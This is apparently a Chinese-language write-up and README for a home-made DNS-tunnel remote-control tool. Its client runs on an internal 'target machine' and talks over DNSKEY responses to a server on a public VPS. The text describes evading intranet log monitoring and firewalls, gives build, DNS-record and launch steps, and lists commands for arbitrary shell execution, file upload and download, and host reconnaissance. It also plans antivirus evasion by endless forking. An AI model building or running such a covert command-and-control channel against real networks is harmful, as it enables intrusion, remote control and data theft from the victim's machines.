DNS隧道,通过设置NS记录和A记录控制子域名解析到我们指定的公网IP服务器地址,进而躲避内网日志监控系统、穿透内网的防火墙策略进行传输数据、远程控制,毕竟DNS查询请求与响应是众多服务都需要的基础功能,防火墙大多不会禁止。其基础知识本文不做详细介绍,读者可自行搜索。
DNS远控分为client和server两端,client放置到内网靶机,接收并执行server的命令。server运行在公网VPS上,下发命令、收取数据和会话管理。
已有的DNS隧道软件通常会使用A记录和Mail Exchange查询响应来携带数据,这里我选用更隐蔽的DNSSEC安全扩展中的Resource Record类型
client -> server: query DNSKEY, accept DNSSEC security RRs
一个真实DNS请求
Frame 99: 120 bytes on wire (960 bits), 120 bytes captured (960 bits) on interface \Device\NPF_{BC6B3107-2D7F-490A-963C-710BA04C6854}, id 0
client发送给server的数据还是存放在query的name字符串中,域名中的每一个标签(逗号分隔)限制最大长度为63字节,整个域名的长度不超过255字节。这里是
jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website
jXD/Bv8AAAAMSEFMTxxKAABf8s5i就是要传送的数据了,是经过base64编码的,编码后最大63字节,那也就是说明文最大45字节,即client一个请求只能最多携带45字节数据到server。而server->client即DNS响应使用publickey传输数据,可传输最多437字节(实际测试得出)。该请求的响应如下:
Frame 100: 189 bytes on wire (1512 bits), 189 bytes captured (1512 bits) on interface \Device\NPF_{BC6B3107-2D7F-490A-963C-710BA04C6854}, id 0
传统的DNS服务监听的是UDP端口,那么剩下的工作就是如何在DNS协议之上实现一个类似TCP的可靠传输协议,涉及到分包组包、重传等细节。包头设计:
struct FragmentCtrl
15 bit作为循环序号,1 bit作为是否最后一个分片标识,2 byte作为会话id区分来自不同靶机的会话。发送时采用比较简单的停等协议,client在每一个请求中都带有序列号,server在接收之后要回复ack,client只有等到当前包的ack之后才会发送下一个包,如果超时未收到ack则重传,重复此过程直到所有分片都传输完成。
传输层可靠实现之后,就要实现应用层的协议了,client定时询问server是否有命令要执行
client->server: Hello?
更详细的实现可以参考代码和抓包分析。
https://github.com/bigBestWay/dnstunnel
C语言编写,适用于LINUX系统
./build.sh
域名配置
使用者需要在域名服务做如下配置(以gandi.net为例):
添加一条A记录:
ns1 10800 IN A 55.55.55.55
再添加一条NS记录:
1 1800 IN NS ns1.test.website.
使用说明
按照以上添加后, 在55.55.55.55上启动NDNS_server
./NDNS_server
在靶机上带参数启动NDNS_client
./NDNS_client .1.test.website
用户界面
支持如下命令
session <list|clientid>
session
session list
列出当前所有会话
session clientid
切换到对应会话
getuid
获取当前远程会话的用户ID
upload aaa bbb
将本地文件aaa上传到远程会话机器bbb,限制文件aaa压缩后要小于430字节
download aaa bbb
将远程文件aaa下载到本地为bbb,下载速率大概20-30字节/秒,所以千万不要下载大文件,否则耗时超级长
bash which python
可执行任意shell命令,注意不要执行需要交互的命令
move <src> <dst>
和mv功能一致,暂未实现,可能用处很少
mkdir aaa
在远端创建文件夹aaa
删除远端文件夹
重命令文件
list
在远端程序当前目录执行ls -lrt并返回结果
删除远端文件
切换远端程序当前目录
获取远端程序当前目录
获取远端机器的出口ip和主机名
Beta版本还未经过很多测试,很多地方都可以改进,比如client daemonlize、无限fork躲避查杀、流量加密、停等协议改成滑动窗口等。